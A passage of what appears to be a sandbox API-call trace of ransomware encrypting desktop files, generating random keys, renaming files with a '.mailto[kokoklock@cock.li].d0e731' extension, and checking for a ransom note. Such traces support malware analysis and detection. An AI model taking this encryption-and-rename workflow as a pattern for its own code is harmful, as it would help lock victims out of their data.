1 [0172.106] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1407fca8, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1407fca8*=0x4096, lpOverlapped=0x0) returned 1 [0172.106] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0172.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d50) returned 1 [0172.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0172.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d50) returned 1 [0172.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.107] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1407fca8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1407fca8*=0x4096, lpOverlapped=0x0) returned 1 [0172.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.107] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x11b68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.107] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1407fce0, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x1407fce0*=0x20, lpOverlapped=0x0) returned 1 [0172.108] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.108] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057d28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x3057d28*, lpNumberOfBytesWritten=0x1407fcf4*=0x8, lpOverlapped=0x0) returned 1 [0172.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x1407fd0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x1407fd0c*, lpNumberOfBytesWritten=0x1407fcf4*=0x4, lpOverlapped=0x0) returned 1 [0172.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1407fcf4*=0x4, lpOverlapped=0x0) returned 1 [0172.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1407fcf4*=0x6c, lpOverlapped=0x0) returned 1 [0172.109] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x1407fcf4*=0x20, lpOverlapped=0x0) returned 1 [0172.109] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1407fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1407fcf4*=0x4, lpOverlapped=0x0) returned 1 [0172.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0172.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0172.109] CloseHandle (hObject=0x5d4) returned 1 [0172.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2fc3548 [0172.297] wcscpy (in: _Dest=0x2fc3548, _Source="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" [0172.297] wcscat (in: _Dest=0x2fc3548, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.297] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.336] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.336] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3548) returned 1 [0172.336] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.336] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.336] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.336] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.336] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.336] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.336] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82e98) returned 1 [0172.336] RtlExitUserThread (Status=0x1) Thread: id = 1953 os_tid = 0xfb4 [0170.752] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.071] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.072] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x140ff870 | out: lpFileSize=0x140ff870*=71364) returned 1 [0172.072] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x116c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.072] ReadFile (in: hFile=0x5d4, lpBuffer=0x140ff844, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x140ff844*, lpNumberOfBytesRead=0x140ff840*=0x4, lpOverlapped=0x0) returned 1 [0172.074] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.074] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0172.075] NtQuerySystemTime (in: CurrentTime=0x140ff81c | out: CurrentTime=0x140ff81c*=132121213293889553) returned 0x0 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x30b590f0 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xb3a3b553 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xc7e1de89 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x915ff74a [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x926e3dc5 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x5e1aef5e [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xcbac73f6 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x2ffb69c8 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xa57637e5 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xd0c69db8 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xeea5f233 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x68fa7716 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x76f7eab2 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xd0f5a985 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x3aacdbb1 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xab177f88 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x7a264e3f [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x14b5bb85 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x4afcb62c [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x9cf49033 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xc04fb70a [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x223fafc1 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x7d4b5976 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xe9bf0767 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x40a2378b [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x3db32d4b [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x4680d777 [0172.075] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x4fd145b7 [0172.076] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0xbd6a6ea1 [0172.076] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x3dbd9e26 [0172.076] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x125c5f37 [0172.076] RtlRandom (in: Seed=0x140ff828 | out: Seed=0x140ff828) returned 0x2c020e48 [0172.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cd8 [0172.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0172.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0172.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0172.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.087] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.087] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x140ff7f4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x140ff7f4*=0x4096, lpOverlapped=0x0) returned 1 [0172.088] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0172.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0172.089] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x140ff7f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x140ff7f4*=0x4096, lpOverlapped=0x0) returned 1 [0172.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.089] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x116c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.089] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057ee0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x140ff82c, lpOverlapped=0x0 | out: lpBuffer=0x3057ee0*, lpNumberOfBytesWritten=0x140ff82c*=0x20, lpOverlapped=0x0) returned 1 [0172.090] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0172.090] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.090] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057d00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x3057d00*, lpNumberOfBytesWritten=0x140ff840*=0x8, lpOverlapped=0x0) returned 1 [0172.090] WriteFile (in: hFile=0x5d4, lpBuffer=0x140ff858*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x140ff858*, lpNumberOfBytesWritten=0x140ff840*=0x4, lpOverlapped=0x0) returned 1 [0172.090] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x140ff840*=0x4, lpOverlapped=0x0) returned 1 [0172.090] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x140ff840*=0x6c, lpOverlapped=0x0) returned 1 [0172.090] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x140ff840*=0x20, lpOverlapped=0x0) returned 1 [0172.090] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x140ff840, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x140ff840*=0x4, lpOverlapped=0x0) returned 1 [0172.091] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.091] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cd8) returned 1 [0172.091] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0172.091] CloseHandle (hObject=0x5d4) returned 1 [0172.296] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x305d578 [0172.296] wcscpy (in: _Dest=0x305d578, _Source="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" [0172.296] wcscat (in: _Dest=0x305d578, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.296] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.338] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d578) returned 1 [0172.338] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.338] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa41e0 [0172.338] wcscpy (in: _Dest=0x2fa41e0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.338] wcscat (in: _Dest=0x2fa41e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.338] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa41e0) returned 1 [0172.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed910) returned 1 [0172.338] RtlExitUserThread (Status=0x1) Thread: id = 1954 os_tid = 0xfb8 [0170.755] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.054] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.054] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1417fb28 | out: lpFileSize=0x1417fb28*=20143) returned 1 [0172.054] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x4eab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.054] ReadFile (in: hFile=0x5d4, lpBuffer=0x1417fafc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x1417fafc*, lpNumberOfBytesRead=0x1417faf8*=0x4, lpOverlapped=0x0) returned 1 [0172.055] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0172.055] NtQuerySystemTime (in: CurrentTime=0x1417fad4 | out: CurrentTime=0x1417fad4*=132121213293733198) returned 0x0 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x6578272f [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xc58a6046 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x2ca6ac0e [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xcc265e33 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xbe557474 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x2d7585d5 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xf51f9080 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xf742bbc7 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xa7bc9508 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xa1b55fbd [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x99041791 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xcae2ad09 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x8fc82ae6 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x33bd0a11 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xe75c702b [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xf978e472 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x37eb798b [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xefd1a4c1 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x22050b88 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x2b15d7d9 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x89128bf1 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xbf284edb [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xe562fcc8 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x2c36fec3 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x43828d3c [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x53c2c81b [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xd10c476c [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x76c055a8 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x8081e82b [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0x106f7b29 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xd6828eb4 [0172.056] RtlRandom (in: Seed=0x1417fae0 | out: Seed=0x1417fae0) returned 0xa4978d26 [0172.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0172.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cd8 [0172.068] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.068] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.068] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.068] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1417faac, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1417faac*=0x4096, lpOverlapped=0x0) returned 1 [0172.068] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, 